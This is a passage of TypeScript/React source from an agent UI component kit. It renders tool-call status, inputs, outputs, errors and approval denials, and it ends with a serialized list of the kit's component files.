                phase === 'success' && 'sr-only',
              )}
            >
              {interrupted ? 'Stopped' : TOOL_PHASE_LABEL[phase]}
            </span>
            {bar && (
              <span
                aria-hidden="true"
                className="bg-aui-surface-2 relative hidden h-1 w-16 overflow-hidden rounded-full sm:block"
              >
                <span
                  className={cn(
                    'absolute inset-y-0 rounded-full',
                    phase === 'error' || phase === 'awaiting-approval'
                      ? 'bg-aui-hot'
                      : settled
                        ? 'bg-aui-fg-subtle/70'
                        : 'bg-aui-accent',
                  )}
                  style={{ left: `${bar.left}%`, width: `${Math.min(bar.width, 100 - bar.left)}%` }}
                />
              </span>
            )}
            <span className="font-aui-mono text-aui-fg-subtle w-12 text-right text-[11px] tabular-nums">
              {duration !== undefined && phase !== 'awaiting-approval' ? formatDuration(duration) : ''}
            </span>
            <ChevronIcon
              size={14}
              className="text-aui-fg-subtle transition-transform duration-200 group-data-[state=open]/trigger:rotate-90 motion-reduce:transition-none"
            />
          </span>
        </Collapsible.Trigger>
        {part.state === 'output-error' && !open && (
          <p className="font-aui-mono text-aui-hot-fg mt-0.5 mb-1 line-clamp-2 px-2 text-xs leading-5 break-words">
            {part.errorText}
          </p>
        )}
        <Collapsible.Content className="data-[state=closed]:motion-safe:animate-aui-collapse data-[state=open]:motion-safe:animate-aui-expand overflow-hidden">
          <ToolCallDetails part={part} meta={meta} />
        </Collapsible.Content>
        {extra && <div className="mt-2 mb-1 pl-2">{extra}</div>}
      </Collapsible.Root>
    </li>
  );
}

/** The expanded body of a tool call: input, output or error, and approval outcome. */
export function ToolCallDetails({ part, meta }: { part: ToolPart; meta?: ToolMeta | undefined }) {
  const hasInput = part.input !== undefined;
  const sectionLabel = 'mb-1.5 font-aui-mono text-[10.5px] font-medium tracking-[0.08em] text-aui-fg-subtle uppercase';
  return (
    <div className="flex flex-col gap-3 px-2 pt-1.5 pb-3">
      {hasInput && (
        <div>
          <div className={sectionLabel}>{part.state === 'input-streaming' ? 'Input (streaming)' : 'Input'}</div>
          <JsonView value={part.input} label="Input" />
        </div>
      )}
      {part.state === 'output-available' && (
        <div>
          <div className={sectionLabel}>{part.preliminary ? 'Output (partial)' : 'Output'}</div>
          {meta?.renderOutput ? meta.renderOutput(part.output, part) : <JsonView value={part.output} label="Output" />}
        </div>
      )}
      {part.state === 'output-error' && (
        <div>
          <div className={sectionLabel}>Error</div>
          <p className="border-aui-hot/35 bg-aui-hot/[0.07] font-aui-mono text-aui-fg rounded-lg border px-3 py-2 text-xs leading-5 break-words whitespace-pre-wrap">
            {part.errorText}
          </p>
        </div>
      )}
      {(part.state === 'output-denied' || (part.state === 'approval-responded' && !part.approval.approved)) && (
        <p className="text-aui-fg-muted text-xs">
          {isAutomaticApproval(part.approval) ? 'Blocked by policy' : 'Denied by user'}
          {part.approval.reason ? (
            <>
              : <span className="text-aui-fg">{part.approval.reason}</span>
            </>
          ) : (
            '.'
          )}
        </p>
      )}
      {!hasInput && part.state === 'input-streaming' && (
        <p className="text-aui-fg-subtle text-xs">Waiting for input…</p>
      )}
    </div>
  );
}
56:["$","$L73",null,{"files":[{"path":"packages/agent-ui-kit/src/agent-message.tsx","content":"$74","type":"registry:component","target":"components/agent-ui/agent-message.tsx"},{"path":"packages/agent-ui-kit/src/approval-card.tsx","content":"$75","type":"registry:component","target":"components/agent-ui/approval-card.tsx"},{"path":"packages/agent-ui-kit/src/lib/ai.ts","content":"$76","type":"registry:lib","target":"components/agent-ui/lib/ai.ts"},{"path":"packages/agent-ui-kit/src/lib/format.ts","content":"$77","type":"registry:lib","target":"components/agent-ui/lib/format.ts"},{"path":"packages/agent-ui-kit/src/lib/highlight.ts","content":"$78","type":"registry:lib","target":"components/agent-ui/lib/highlight.ts"},{"path":"packages/agent-ui-kit/src/lib/hooks.ts","content":"$79","type":"registry:lib","target":"components/agent-ui/lib/hooks.ts"},{"path":"packages/agent-ui-kit/src/lib/icons.tsx","content":"$7a","type":"registry:lib","target":"components/agent-ui/lib/icons.tsx"},{"path":"packages/agent-ui-kit/src/lib/images.ts","content":"$7b","type":"registry:lib","target":"components/agent-ui/lib/images.ts"},{"path":"packages/agent-ui-kit/src/lib/primitives.tsx","content":"$7c","type":"registry:lib","target":"components/agent-ui/lib/primitives.tsx"},{"path":"packages/agent-ui-kit/src/lib/utils.ts","content":"$7d","type":"registry:lib","target":"components/agent-ui/lib/utils.ts"},{"path":"packages/agent-ui-kit/src/markdown.tsx","content":"$7e","type":"registry:component","target":"components/agent-ui/markdown.tsx"},{"path":"packages/agent-ui-kit/src/reasoning.tsx","content":"$7f","type":"registry:component","target":"components/agent-ui/reasoning.tsx"},{"path":"packages/agent-ui-kit/src/sources.tsx","content":"$80","type":"registry:component","target":"components/agent-ui/sources.tsx"},{"path":"packages/agent-ui-kit/src/tool-call-timeline.tsx","content":"$81","type":"registry:component","target":"components/agent-ui/tool-call-timeline.tsx"}],"className":"h-[70svh] min-h-80"}]
</article></body></html>